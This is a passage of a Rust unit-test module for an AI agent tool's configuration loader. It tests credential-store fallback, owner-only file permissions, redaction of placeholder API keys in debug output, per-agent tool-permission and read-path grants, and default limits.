1698        config.providers.openai_api_key = Some("keep-me".to_string());
1699        config.apply_credential_store(&leviath_core::MemoryStore::new());
1700        assert_eq!(config.providers.openai_api_key.as_deref(), Some("keep-me"));
1701        assert!(config.providers.anthropic_api_key.is_none());
1702    }
1703
1704    /// The three resolutions the loader can get back. A keychain that was asked
1705    /// for but is unreachable must warn and carry on - refusing to load the
1706    /// config would take down `lev auth status`, the one command that can
1707    /// explain the problem.
1708    #[test]
1709    fn an_unreachable_credential_store_does_not_stop_the_config_loading() {
1710        use leviath_core::{CredentialStore, MemoryStore};
1711
1712        let mut config = Config::default();
1713        config.fill_from_credential_store_with(Err("no keychain here".to_string()));
1714        assert!(config.providers.anthropic_api_key.is_none());
1715
1716        // The file backend: nothing to overlay.
1717        let mut config = Config::default();
1718        config.providers.openai_api_key = Some("k".to_string());
1719        config.fill_from_credential_store_with(Ok(None));
1720        assert_eq!(config.providers.openai_api_key.as_deref(), Some("k"));
1721
1722        // A working store fills the gap.
1723        let store = MemoryStore::new();
1724        store
1725            .set(&leviath_core::provider_account("anthropic"), "filled")
1726            .unwrap();
1727        let mut config = Config::default();
1728        config.fill_from_credential_store_with(Ok(Some(Box::new(store))));
1729        assert_eq!(
1730            config.providers.anthropic_api_key.as_deref(),
1731            Some("filled")
1732        );
1733    }
1734
1735    #[test]
1736    fn provider_secrets_lists_every_set_key_and_nothing_else() {
1737        let mut config = Config::default();
1738        assert!(config.provider_secrets().is_empty());
1739
1740        config.providers.anthropic_api_key = Some("a".to_string());
1741        config.openrouter_api_key = Some("o".to_string());
1742        let secrets = config.provider_secrets();
1743        assert_eq!(secrets.len(), 2);
1744        assert!(secrets.contains(&("provider/anthropic".to_string(), "a".to_string())));
1745        assert!(secrets.contains(&("provider/openrouter".to_string(), "o".to_string())));
1746    }
1747
1748    /// `without_secrets` must return a *copy*: the caller is usually saving a
1749    /// config it is still going to run with, and blanking its keys in place
1750    /// would break that run.
1751    #[test]
1752    fn without_secrets_strips_a_copy_and_leaves_the_original_usable() {
1753        let mut config = Config::default();
1754        config.providers.anthropic_api_key = Some("a".to_string());
1755        config.providers.openai_api_key = Some("b".to_string());
1756        config.providers.google_api_key = Some("c".to_string());
1757        config.openrouter_api_key = Some("d".to_string());
1758        config.default_model = Some("m".to_string());
1759
1760        let stripped = config.without_secrets();
1761        assert!(stripped.provider_secrets().is_empty(), "no keys survive");
1762        assert_eq!(stripped.default_model.as_deref(), Some("m"), "settings do");
1763        assert_eq!(
1764            config.providers.anthropic_api_key.as_deref(),
1765            Some("a"),
1766            "the original is untouched"
1767        );
1768    }
1769
1770    use super::*;
1771    use crate::test_support::with_tracing;
1772
1773    // ─── leviath_home_dir ────────────────────────────────────────────────────
1774
1775    #[test]
1776    fn leviath_home_dir_uses_override_when_set() {
1777        temp_env::with_var(
1778            "LEVIATH_HOME",
1779            Some("/tmp/leviath-home-override-test"),
1780            || {
1781                assert_eq!(
1782                    leviath_home_dir(),
1783                    Some(std::path::PathBuf::from("/tmp/leviath-home-override-test"))
1784                );
1785            },
1786        );
1787    }
1788
1789    #[test]
1790    fn leviath_home_dir_falls_back_to_dirs_home_dir_when_unset() {
1791        temp_env::with_var_unset("LEVIATH_HOME", || {
1792            assert_eq!(leviath_home_dir(), dirs::home_dir());
1793        });
1794    }
1795
1796    // ─── load_from_path / save_to_path (path-parameterized for testability) ─
1797
1798    #[test]
1799    fn load_from_path_missing_file_returns_defaults() {
1800        let dir = tempfile::tempdir().unwrap();
1801        let path = dir.path().join("config.toml");
1802        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1803        assert_eq!(config.default_provider, "anthropic");
1804    }
1805
1806    #[test]
1807    fn load_from_path_valid_toml_is_parsed() {
1808        let dir = tempfile::tempdir().unwrap();
1809        let path = dir.path().join("config.toml");
1810        let original = Config {
1811            default_provider: "openai".to_string(),
1812            ..Config::default()
1813        };
1814        std::fs::write(&path, toml::to_string_pretty(&original).unwrap()).unwrap();
1815        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1816        assert_eq!(config.default_provider, "openai");
1817    }
1818
1819    #[test]
1820    fn limits_default_to_bounded_values() {
1821        let limits = LimitsConfig::default();
1822        assert_eq!(limits.max_concurrent_inferences, Some(8));
1823        assert_eq!(limits.default_max_iterations, Some(50));
1824        // Exact token counting is opt-in, off by default.
1825        assert!(!limits.exact_token_counting);
1826        // Relief is on by default: ten 30-second cycles of a full lane going
1827        // nowhere before the daemon widens it.
1828        assert_eq!(limits.dead_cycles_before_relief, 10);
1829        // A finished run stays listed for five minutes, so a scheduler polling
1830        // about once a minute still learns how it ended.
1831        assert_eq!(limits.finished_retention_secs, 300);
1832        // An unanswered prompt releases after an hour rather than holding its
1833        // run's slot until the daemon restarts (issue #204).
1834        assert_eq!(limits.interaction_timeout_secs, 3600);
1835        // And the top-level Config carries the same defaults.
1836        assert_eq!(Config::default().limits.max_concurrent_inferences, Some(8));
1837    }
1838
1839    /// A config written before the field existed still gets the hour, and an
1840    /// explicit `0` still means "wait for a person however long it takes".
1841    #[test]
1842    fn interaction_timeout_defaults_and_parses() {
1843        let dir = tempfile::tempdir().unwrap();
1844        let load = |body: String| {
1845            let path = dir.path().join(format!("{}.toml", body.len()));
1846            std::fs::write(&path, body).unwrap();
1847            with_tracing(|| Config::load_from_path(&path)).unwrap()
1848        };
1849
1850        let old = load(format!(
1851            "{}\n[limits]\nmax_concurrent_tools = 4\n",
1852            config_toml_without_limits()
1853        ));
1854        assert_eq!(old.limits.interaction_timeout_secs, 3600);
1855
1856        let disabled = load(format!(
1857            "{}\n[limits]\ninteraction_timeout_secs = 0\n",
1858            config_toml_without_limits()
1859        ));
1860        assert_eq!(disabled.limits.interaction_timeout_secs, 0);
1861    }
1862
1863    #[test]
1864    fn exact_token_counting_parses_when_set() {
1865        let dir = tempfile::tempdir().unwrap();
1866        let path = dir.path().join("config.toml");
1867        let body = format!(
1868            "{}\n[limits]\nexact_token_counting = true\n",
1869            config_toml_without_limits()
1870        );
1871        std::fs::write(&path, body).unwrap();
1872        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1873        assert!(config.limits.exact_token_counting);
1874        // The other fields still fall back to their per-field defaults.
1875        assert_eq!(config.limits.max_concurrent_inferences, Some(8));
1876    }
1877
1878    /// A valid full config-file body with the `[limits]` section removed, so
1879    /// tests can simulate a config written before the section existed (robust to
1880    /// unrelated fields being added). `[limits]` serializes as the final section.
1881    #[cfg(test)]
1882    fn config_toml_without_limits() -> String {
1883        let full = toml::to_string_pretty(&Config::default()).unwrap();
1884        format!("{}\n", full.split("[limits]").next().unwrap().trim_end())
1885    }
1886
1887    #[test]
1888    fn limits_absent_section_uses_defaults() {
1889        // A config file with no `[limits]` table still gets the bounded defaults.
1890        let dir = tempfile::tempdir().unwrap();
1891        let path = dir.path().join("config.toml");
1892        std::fs::write(&path, config_toml_without_limits()).unwrap();
1893        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1894        assert_eq!(config.limits.max_concurrent_inferences, Some(8));
1895        assert_eq!(config.limits.default_max_iterations, Some(50));
1896        assert_eq!(config.limits.dead_cycles_before_relief, 10);
1897        assert_eq!(config.limits.finished_retention_secs, 300);
1898        // Off unless asked for: the wedge watchdog fails runs, so an upgrade
1899        // must not switch it on behind the operator's back.
1900        assert_eq!(config.limits.wedge_timeout_secs, 0);
1901    }
1902
1903    #[test]
1904    fn the_wedge_watchdog_is_off_until_it_is_configured() {
1905        let dir = tempfile::tempdir().unwrap();
1906        let path = dir.path().join("config.toml");
1907        let body = format!(
1908            "{}\n[limits]\nwedge_timeout_secs = 300\n",
1909            config_toml_without_limits()
1910        );
1911        std::fs::write(&path, body).unwrap();
1912        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1913        assert_eq!(config.limits.wedge_timeout_secs, 300);
1914        // And the rest of the section keeps its own defaults.
1915        assert_eq!(config.limits.stall_timeout_secs, 60);
1916    }
1917
1918    #[test]
1919    fn limits_partial_section_fills_the_other_default() {
1920        // Setting only one field leaves the other at its per-field serde default.
1921        let dir = tempfile::tempdir().unwrap();
1922        let path = dir.path().join("config.toml");
1923        let body = format!(
1924            "{}\n[limits]\nmax_concurrent_inferences = 3\n",
1925            config_toml_without_limits()
1926        );
1927        std::fs::write(&path, body).unwrap();
1928        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1929        assert_eq!(config.limits.max_concurrent_inferences, Some(3));
1930        assert_eq!(config.limits.default_max_iterations, Some(50));
1931    }
1932
1933    #[test]
1934    fn load_from_path_existing_provider_keys_skip_env_fallback() {
1935        // Every one of the 5 "env var fallback" `if field.is_none()` checks
1936        // in `load_from_path` has only ever been exercised on its `true`
1937        // (field absent, fall back to env) arm elsewhere in this file --
1938        // never on the `false` (field already set from the TOML file, skip
1939        // the env lookup) arm. `temp_env::with_vars` clears these process-global
1940        // env vars for the closure (and serializes against every other temp-env
1941        // test), so no concurrently-running test can be mid-set when we read.
1942        let unset: Vec<(&str, Option<&str>)> = PROVIDER_KEY_ENV_VARS
1943            .iter()
1944            .chain(["OLLAMA_HOST"].iter())
1945            .map(|&key| (key, None))
1946            .collect();
1947        temp_env::with_vars(unset, || {
1948            let dir = tempfile::tempdir().unwrap();
1949            let path = dir.path().join("config.toml");
1950            std::fs::write(
1951                &path,
1952                r#"
1953default_provider = "anthropic"
1954openrouter_api_key = "sk-or-existing"
1955ollama_base_url = "http://existing-ollama:11434"
1956agent_paths = []
1957
1958[providers]
1959anthropic_api_key = "sk-ant-existing"
1960openai_api_key = "sk-openai-existing"
1961google_api_key = "AIza-existing"
1962"#,
1963            )
1964            .unwrap();
1965
1966            let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1967
1968            assert_eq!(
1969                config.providers.anthropic_api_key.as_deref(),
1970                Some("sk-ant-existing")
1971            );
1972            assert_eq!(
1973                config.providers.openai_api_key.as_deref(),
1974                Some("sk-openai-existing")
1975            );
1976            assert_eq!(
1977                config.providers.google_api_key.as_deref(),
1978                Some("AIza-existing")
1979            );
1980            assert_eq!(config.openrouter_api_key.as_deref(), Some("sk-or-existing"));
1981            assert_eq!(
1982                config.ollama_base_url.as_deref(),
1983                Some("http://existing-ollama:11434")
1984            );
1985        });
1986    }
1987
1988    #[test]
1989    fn load_from_path_malformed_toml_returns_error() {
1990        let dir = tempfile::tempdir().unwrap();
1991        let path = dir.path().join("config.toml");
1992        std::fs::write(&path, "not valid toml [[[").unwrap();
1993        let result = Config::load_from_path(&path);
1994        assert!(result.is_err());
1995        assert!(result.unwrap_err().to_string().contains("Failed to parse"));
1996    }
1997
1998    #[test]
1999    fn load_from_path_unreadable_path_returns_error() {
2000        // A directory can't be read as a config file.
2001        let dir = tempfile::tempdir().unwrap();
2002        let result = Config::load_from_path(dir.path());
2003        assert!(result.is_err());
2004    }
2005
2006    #[test]
2007    fn save_to_path_writes_valid_toml_that_round_trips() {
2008        let dir = tempfile::tempdir().unwrap();
2009        let path = dir.path().join("nested").join("config.toml");
2010        let config = Config {
2011            default_provider: "google".to_string(),
2012            ..Config::default()
2013        };
2014        with_tracing(|| config.save_to_path(&path)).unwrap();
2015
2016        let loaded = with_tracing(|| Config::load_from_path(&path)).unwrap();
2017        assert_eq!(loaded.default_provider, "google");
2018    }
2019
2020    #[test]
2021    fn save_to_path_creates_parent_directory() {
2022        let dir = tempfile::tempdir().unwrap();
2023        let path = dir.path().join("a").join("b").join("config.toml");
2024        let config = Config::default();
2025        with_tracing(|| config.save_to_path(&path)).unwrap();
2026        assert!(path.exists());
2027    }
2028
2029    #[test]
2030    fn save_to_path_with_no_parent_skips_create_config_dir() {
2031        // `Path::parent()` returns `None` only for an empty path or a
2032        // filesystem root - `PathBuf::from("")` triggers the empty case
2033        // cross-platform, hitting the `if let Some(parent) = ...` block's
2034        // `None` arm (skip `create_config_dir`) without a platform-specific
2035        // root path. The subsequent `fs::write("")` then fails, which is
2036        // fine: this test only cares about the `None` branch being taken.
2037        let result = Config::default().save_to_path(&std::path::PathBuf::from(""));
2038        assert!(result.is_err());
2039    }
2040
2041    #[cfg(unix)]
2042    #[test]
2043    fn save_to_path_sets_restrictive_file_permissions() {
2044        use std::os::unix::fs::PermissionsExt;
2045        let dir = tempfile::tempdir().unwrap();
2046        let path = dir.path().join("config.toml");
2047        with_tracing(|| Config::default().save_to_path(&path)).unwrap();
2048        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2049        assert_eq!(mode & 0o777, 0o600);
2050    }
2051
2052    #[test]
2053    fn save_to_path_write_failure_returns_error() {
2054        // A directory at the exact target path forces `std::fs::write` to
2055        // fail with EISDIR, exercising `save_to_path`'s write-error `map_err`
2056        // arm (distinct from `save_to_path_creates_parent_directory`, which
2057        // exercises the parent-dir-creation path but always succeeds).
2058        let dir = tempfile::tempdir().unwrap();
2059        let path = dir.path().join("config.toml");
2060        std::fs::create_dir_all(&path).unwrap();
2061
2062        let result = Config::default().save_to_path(&path);
2063
2064        assert!(result.is_err());
2065        assert!(
2066            result
2067                .unwrap_err()
2068                .to_string()
2069                .contains("Failed to write config")
2070        );
2071    }
2072
2073    #[test]
2074    fn save_to_path_create_config_dir_failure_returns_error() {
2075        let dir = tempfile::tempdir().unwrap();
2076        let blocking_file = dir.path().join("not-a-dir");
2077        std::fs::write(&blocking_file, "").unwrap();
2078        let path = blocking_file.join("config.toml");
2079        let result = Config::default().save_to_path(&path);
2080        assert!(result.is_err());
2081        assert!(
2082            result
2083                .unwrap_err()
2084                .to_string()
2085                .contains("Failed to create config directory")
2086        );
2087    }
2088
2089    #[test]
2090    fn load_propagates_error_when_real_config_file_is_malformed() {
2091        // Every other `Config::load()` test sees either no file (defaults)
2092        // or a well-formed one, so `load()`'s `?` on `load_from_path(...)`
2093        // has never actually propagated an `Err`. Writing malformed TOML to
2094        // the guard's redirected `LEVIATH_CONFIG_PATH` forces that.
2095        with_isolated_config_path("load-malformed", |fake_dir| {
2096            std::fs::write(fake_dir.join("config.toml"), "not valid toml [[[").unwrap();
2097
2098            let result = Config::load();
2099
2100            assert!(result.is_err());
2101        });
2102    }
2103
2104    // ─── check_permissions_at ────────────────────────────────────────────
2105
2106    #[cfg(unix)]
2107    #[test]
2108    fn check_permissions_at_missing_file_is_noop() {
2109        let dir = tempfile::tempdir().unwrap();
2110        let path = dir.path().join("nonexistent.toml");
2111        check_permissions_at(&path); // must not panic
2112    }
2113
2114    #[cfg(unix)]
2115    #[test]
2116    fn check_permissions_at_fixes_overly_permissive_file() {
2117        use std::os::unix::fs::PermissionsExt;
2118        let dir = tempfile::tempdir().unwrap();
2119        let path = dir.path().join("config.toml");
2120        std::fs::write(&path, "").unwrap();
2121        std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o644)).unwrap();
2122
2123        with_tracing(|| check_permissions_at(&path));
2124
2125        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2126        assert_eq!(mode & 0o777, 0o600);
2127    }
2128
2129    #[cfg(unix)]
2130    #[test]
2131    fn check_permissions_at_leaves_already_restrictive_file_alone() {
2132        use std::os::unix::fs::PermissionsExt;
2133        let dir = tempfile::tempdir().unwrap();
2134        let path = dir.path().join("config.toml");
2135        std::fs::write(&path, "").unwrap();
2136        std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o600)).unwrap();
2137
2138        check_permissions_at(&path);
2139
2140        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2141        assert_eq!(mode & 0o777, 0o600);
2142    }
2143
2144    // On macOS/BSD, `chflags uchg` sets the user-immutable flag - settable
2145    // by a regular file owner without root - which blocks `chmod` (and thus
2146    // `std::fs::set_permissions`) with EPERM while leaving `exists()`/
2147    // The "fix failed" arm of `check_permissions_at` (a file that exists but
2148    // whose `chmod` fails) is exercised deterministically on every OS by
2149    // injecting a failing `ensure` fn - no `chflags uchg`/root trick, which was
2150    // macOS-only and left this branch uncovered on Linux CI.
2151    #[test]
2152    fn check_permissions_at_with_logs_when_fix_fails() {
2153        fn ensure_fails(_: &std::path::Path) -> std::io::Result<Option<u32>> {
2154            Err(std::io::Error::other("simulated chmod failure"))
2155        }
2156        // Must not panic; the failure is only logged.
2157        with_tracing(|| {
2158            check_permissions_at_with(std::path::Path::new("/does/not/matter"), ensure_fails)
2159        });
2160    }
2161
2162    #[test]
2163    fn check_permissions_at_with_logs_when_file_is_permissive() {
2164        fn ensure_permissive(_: &std::path::Path) -> std::io::Result<Option<u32>> {
2165            Ok(Some(0o100644))
2166        }
2167        with_tracing(|| {
2168            check_permissions_at_with(std::path::Path::new("/does/not/matter"), ensure_permissive)
2169        });
2170    }
2171
2172    // Portable failure injection for the hardening error arms of
2173    // `set_file_permissions`/`set_dir_permissions`. `leviath_sys`'s Windows
2174    // fallback is infallible (always `Ok`) - and even a missing path fails only
2175    // on Unix - so the only cross-platform way to reach the `Err` arm is to
2176    // inject a hardening op that fails (mirroring `check_permissions_at_with`).
2177    fn always_failing_secure(_path: &std::path::Path) -> std::io::Result<()> {
2178        Err(std::io::Error::other(
2179            "simulated permission-hardening failure",
2180        ))
2181    }
2182
2183    #[test]
2184    fn set_dir_permissions_error_branch_logs_not_panics() {
2185        with_tracing(|| {
2186            set_dir_permissions_with(
2187                std::path::Path::new("/does/not/matter"),
2188                always_failing_secure,
2189            )
2190        }); // hits the Err arm, must not panic
2191    }
2192
2193    // ─── create_config_dir / set_file_permissions / set_dir_permissions ───
2194    // (already path-parameterized - directly testable without touching the
2195    // real ~/.leviath/config.toml)
2196
2197    #[test]
2198    fn create_config_dir_creates_nested_dirs() {
2199        let dir = tempfile::tempdir().unwrap();
2200        let target = dir.path().join("a").join("b").join("c");
2201        create_config_dir(&target).unwrap();
2202        assert!(target.is_dir());
2203    }
2204
2205    #[cfg(unix)]
2206    #[test]
2207    fn create_config_dir_sets_restrictive_permissions() {
2208        use std::os::unix::fs::PermissionsExt;
2209        let dir = tempfile::tempdir().unwrap();
2210        let target = dir.path().join("leviath");
2211        create_config_dir(&target).unwrap();
2212        let mode = std::fs::metadata(&target).unwrap().permissions().mode();
2213        assert_eq!(mode & 0o777, 0o700);
2214    }
2215
2216    /// The config holds every provider API key, so it must never be readable by
2217    /// anyone else - not even for the instant between a `write` and a follow-up
2218    /// `chmod`. `write_private` creates the file with the mode already applied.
2219    #[cfg(unix)]
2220    /// `LEVIATH_HOME` must redirect the config too, not just the runs and
2221    /// agents directories.
2222    ///
2223    /// Without that redirect the consequence is concrete: a scratch environment
2224    /// that sets `LEVIATH_HOME` and runs `lev mcp add` writes to the developer's
2225    /// *real* `~/.leviath/config.toml` - the file holding every provider API key
2226    /// - while believing it is isolated.
2227    #[test]
2228    fn config_path_honors_leviath_home() {
2229        temp_env::with_vars(
2230            [
2231                ("LEVIATH_CONFIG_PATH", None::<&str>),
2232                ("LEVIATH_HOME", Some("/tmp/lev-cfg-test")),
2233            ],
2234            || {
2235                assert_eq!(
2236                    Config::config_path(),
2237                    std::path::PathBuf::from("/tmp/lev-cfg-test/.leviath/config.toml")
2238                );
2239            },
2240        );
2241    }
2242
2243    /// The narrower override still wins, so an explicit path is exact.
2244    #[test]
2245    fn config_path_prefers_the_explicit_override() {
2246        temp_env::with_vars(
2247            [
2248                ("LEVIATH_CONFIG_PATH", Some("/tmp/exact.toml")),
2249                ("LEVIATH_HOME", Some("/tmp/lev-cfg-test")),
2250            ],
2251            || {
2252                assert_eq!(
2253                    Config::config_path(),
2254                    std::path::PathBuf::from("/tmp/exact.toml")
2255                );
2256            },
2257        );
2258    }
2259
2260    /// The escape hatch for the permission floor: a user grants one named agent
2261    /// more than their global setting, in their own config rather than in the
2262    /// downloaded manifest.
2263    #[test]
2264    fn permissions_for_agent_overlays_the_named_grant_on_the_global() {
2265        let mut config = Config::default();
2266        config
2267            .tool_permissions
2268            .insert("shell".to_string(), ToolPolicy::Ask);
2269        config
2270            .tool_permissions
2271            .insert("write_file".to_string(), ToolPolicy::Deny);
2272        config.agent_tool_permissions.insert(
2273            "coder".to_string(),
2274            HashMap::from([("shell".to_string(), ToolPolicy::Allow)]),
2275        );
2276
2277        let coder = config.permissions_for_agent("coder");
2278        assert_eq!(coder.get("shell"), Some(&ToolPolicy::Allow), "granted");
2279        assert_eq!(
2280            coder.get("write_file"),
2281            Some(&ToolPolicy::Deny),
2282            "the rest of the global ceiling still applies"
2283        );
2284
2285        // Any other agent sees the global setting untouched.
2286        let other = config.permissions_for_agent("researcher");
2287        assert_eq!(other.get("shell"), Some(&ToolPolicy::Ask));
2288    }
2289
2290    /// Read-path grants mirror the tool-permission shape: a machine-wide list
2291    /// plus per-agent additions, resolved once per agent.
2292    #[test]
2293    fn read_path_grants_merge_global_and_per_agent() {
2294        let mut config = Config::default();
2295        assert!(
2296            !config.security.allow_blueprint_read_paths,
2297            "blueprint read paths must be opt-in"
2298        );
2299        assert!(config.read_path_grants_for_agent("cto").is_empty());
2300
2301        config.security.read_paths = vec!["~/.leviath/runs".to_string()];
2302        config.agent_read_paths.insert(
2303            "cto".to_string(),
2304            ReadPathGrants {
2305                allow: vec!["glob:~/design-docs/**".to_string()],
2306            },
2307        );
2308
2309        assert_eq!(
2310            config.read_path_grants_for_agent("cto"),
2311            vec![
2312                "~/.leviath/runs".to_string(),
2313                "glob:~/design-docs/**".to_string(),
2314            ]
2315        );
2316        // Any other agent gets the machine-wide grants only.
2317        assert_eq!(
2318            config.read_path_grants_for_agent("researcher"),
2319            vec!["~/.leviath/runs".to_string()]
2320        );
2321    }
2322
2323    /// One `tracing::debug!(?config)` would otherwise put every provider key in
2324    /// the logs.
2325    #[test]
2326    fn provider_config_debug_never_prints_the_keys() {
2327        let providers = ProviderConfig {
2328            anthropic_api_key: Some("sk-ant-SECRET-VALUE".to_string()),
2329            openai_api_key: Some("sk-openai-SECRET-VALUE".to_string()),
2330            google_api_key: Some("AIza-SECRET-VALUE".to_string()),
2331            claude_code_enabled: true,
2332            claude_code_binary: None,
2333            claude_code_effort: None,
2334            anthropic_cache_ttl: None,
2335            fallback_order: Vec::new(),
2336        };
2337        let rendered = format!("{providers:?}");
2338        assert!(!rendered.contains("SECRET-VALUE"), "key leaked: {rendered}");
2339        // "is it configured" is what a debug line is actually asking.
2340        assert!(rendered.contains("<set>"), "{rendered}");
2341        assert!(rendered.contains("claude_code_enabled: true"), "{rendered}");
2342
2343        let empty = format!(
2344            "{:?}",
2345            ProviderConfig {
2346                anthropic_api_key: None,
2347                openai_api_key: None,
2348                google_api_key: None,
2349                claude_code_enabled: false,
2350                claude_code_binary: None,
2351                claude_code_effort: None,
2352                anthropic_cache_ttl: None,
2353                fallback_order: Vec::new(),
2354            }
2355        );
2356        assert!(empty.contains("<unset>"), "{empty}");
2357    }
2358
2359    /// Unix-only: the assertion is about POSIX mode bits, which Windows does
2360    /// not have. `write_private`'s Windows path is a plain write, exercised by
2361    /// every other `save_to_path` test.
2362    #[cfg(unix)]
2363    #[test]
2364    fn saving_a_config_never_leaves_it_group_or_world_readable() {
2365        use std::os::unix::fs::PermissionsExt;
2366        let dir = tempfile::tempdir().unwrap();
2367        let path = dir.path().join("config.toml");
2368
2369        Config::default().save_to_path(&path).unwrap();
2370        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2371        assert_eq!(mode & 0o777, 0o600, "fresh config must be owner-only");
2372
2373        // Overwriting a file that somehow became permissive tightens it again.
2374        std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o644)).unwrap();
2375        Config::default().save_to_path(&path).unwrap();
2376        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2377        assert_eq!(mode & 0o777, 0o600, "re-saving must re-tighten");
2378    }
2379
2380    #[cfg(unix)]
2381    #[test]
2382    fn set_dir_permissions_sets_0700() {
2383        use std::os::unix::fs::PermissionsExt;
2384        let dir = tempfile::tempdir().unwrap();
2385        std::fs::set_permissions(dir.path(), std::fs::Permissions::from_mode(0o755)).unwrap();
2386        set_dir_permissions(dir.path());
2387        let mode = std::fs::metadata(dir.path()).unwrap().permissions().mode();
2388        assert_eq!(mode & 0o777, 0o700);
2389    }
2390
2391    #[test]
2392    fn test_validate_keys_good_anthropic() {
2393        let config = Config {
2394            providers: ProviderConfig {
2395                anthropic_api_key: Some("sk-ant-test123".to_string()),
2396                openai_api_key: None,
2397                google_api_key: None,
2398                claude_code_enabled: false,
2399                claude_code_binary: None,
2400                claude_code_effort: None,
2401                anthropic_cache_ttl: None,
2402                fallback_order: Vec::new(),
2403            },
2404            ..Config::default()
2405        };
2406        assert!(config.validate_keys().is_empty());
2407    }
2408
2409    #[test]
2410    fn test_validate_keys_bad_anthropic() {
2411        let config = Config {
2412            providers: ProviderConfig {
2413                anthropic_api_key: Some("bad-key".to_string()),
2414                openai_api_key: None,
2415                google_api_key: None,
2416                claude_code_enabled: false,
2417                claude_code_binary: None,
2418                claude_code_effort: None,
2419                anthropic_cache_ttl: None,
2420                fallback_order: Vec::new(),
2421            },
2422            ..Config::default()
2423        };
2424        let warnings = config.validate_keys();
2425        assert_eq!(warnings.len(), 1);
2426        assert!(warnings[0].contains("Anthropic"));
2427    }
2428
2429    #[test]
2430    fn test_validate_keys_good_openai() {
2431        let config = Config {
2432            providers: ProviderConfig {
2433                anthropic_api_key: None,
2434                openai_api_key: Some("sk-test123".to_string()),
2435                google_api_key: None,
2436                claude_code_enabled: false,
2437                claude_code_binary: None,
2438                claude_code_effort: None,
2439                anthropic_cache_ttl: None,
2440                fallback_order: Vec::new(),
2441            },
2442            ..Config::default()
2443        };
2444        assert!(config.validate_keys().is_empty());
2445    }
2446
2447    #[test]
2448    fn test_validate_keys_bad_openai() {
2449        let config = Config {
2450            providers: ProviderConfig {
2451                anthropic_api_key: None,
2452                openai_api_key: Some("bad-key".to_string()),
2453                google_api_key: None,
2454                claude_code_enabled: false,
2455                claude_code_binary: None,
2456                claude_code_effort: None,
2457                anthropic_cache_ttl: None,
2458                fallback_order: Vec::new(),
2459            },
2460            ..Config::default()
2461        };
2462        let warnings = config.validate_keys();
2463        assert_eq!(warnings.len(), 1);
2464        assert!(warnings[0].contains("OpenAI"));
2465    }
2466
2467    #[test]
2468    fn test_validate_keys_no_keys() {
2469        let config = Config::default();
2470        assert!(config.validate_keys().is_empty());
2471    }
2472
2473    // ─── Config defaults ───────────────────────────────────────────────────
2474
2475    #[test]
2476    fn config_default_values() {
2477        let config = Config::default();
2478        assert_eq!(config.default_provider, "anthropic");
2479        assert!(config.providers.anthropic_api_key.is_none());
2480        assert!(config.providers.openai_api_key.is_none());
2481        assert!(config.providers.google_api_key.is_none());
2482        assert!(config.openrouter_api_key.is_none());
2483        assert!(config.ollama_base_url.is_none());
2484        assert!(config.mcp_servers.is_empty());
2485        assert!(config.default_model.is_none());
2486        assert!(config.model_capabilities.is_empty());
2487        assert!(config.tool_permissions.is_empty());
2488    }
2489
2490    // ─── TitleConfig ───────────────────────────────────────────────────────
2491
2492    #[test]
2493    fn title_config_default() {
2494        let tc = TitleConfig::default();
2495        assert!(tc.enabled);
2496        assert!(tc.provider.is_none());
2497        assert!(tc.model.is_none());
2498    }
2499
2500    #[test]
2501    fn title_config_serde_roundtrip() {
2502        let tc = TitleConfig {
2503            enabled: false,
2504            provider: Some("openai".to_string()),
2505            model: Some("gpt-5.4-mini".to_string()),
2506        };
2507        let json = serde_json::to_string(&tc).unwrap();
2508        let back: TitleConfig = serde_json::from_str(&json).unwrap();
2509        assert!(!back.enabled);
2510        assert_eq!(back.provider.as_deref(), Some("openai"));
2511        assert_eq!(back.model.as_deref(), Some("gpt-5.4-mini"));
2512    }
2513
2514    // ─── ToolPolicy ────────────────────────────────────────────────────────
2515
2516    #[test]
2517    fn tool_policy_default_is_ask() {
2518        let policy = ToolPolicy::default();
2519        assert_eq!(policy, ToolPolicy::Ask);
2520    }
2521
2522    #[test]
2523    fn tool_policy_serde_roundtrip() {
2524        for policy in [ToolPolicy::Allow, ToolPolicy::Ask, ToolPolicy::Deny] {
2525            let json = serde_json::to_string(&policy).unwrap();
2526            let back: ToolPolicy = serde_json::from_str(&json).unwrap();
2527            assert_eq!(policy, back);
2528        }
2529    }
2530
2531    #[test]
2532    fn tool_policy_snake_case_serialization() {
2533        assert_eq!(
2534            serde_json::to_string(&ToolPolicy::Allow).unwrap(),
2535            "\"allow\""
2536        );
2537        assert_eq!(serde_json::to_string(&ToolPolicy::Ask).unwrap(), "\"ask\"");
2538        assert_eq!(
2539            serde_json::to_string(&ToolPolicy::Deny).unwrap(),
2540            "\"deny\""
2541        );
2542    }
2543
2544    // ─── Config TOML parsing ───────────────────────────────────────────────
2545
2546    #[test]
2547    fn config_from_toml_with_all_fields() {
2548        let toml_content = r#"
2549default_provider = "openai"
2550openrouter_api_key = "sk-or-test"
2551ollama_base_url = "http://my-ollama:11434"
2552default_model = "gpt-5"
2553agent_paths = []
2554
2555[providers]
2556anthropic_api_key = "sk-ant-test"
2557openai_api_key = "sk-test"
2558google_api_key = "AIza-test"
2559
2560[tool_permissions]
2561bash = "deny"
2562read_file = "allow"
2563
2564[title]
2565enabled = false
2566provider = "anthropic"
2567model = "claude-haiku-4-5"
2568"#;
2569        let config: Config = toml::from_str(toml_content).unwrap();
2570        assert_eq!(config.default_provider, "openai");
2571        assert_eq!(
2572            config.providers.anthropic_api_key.as_deref(),
2573            Some("sk-ant-test")
2574        );
2575        assert_eq!(config.providers.openai_api_key.as_deref(), Some("sk-test"));
2576        assert_eq!(
2577            config.providers.google_api_key.as_deref(),
2578            Some("AIza-test")
2579        );
2580        assert_eq!(config.openrouter_api_key.as_deref(), Some("sk-or-test"));
2581        assert_eq!(
2582            config.ollama_base_url.as_deref(),
2583            Some("http://my-ollama:11434")
2584        );
2585        assert_eq!(config.default_model.as_deref(), Some("gpt-5"));
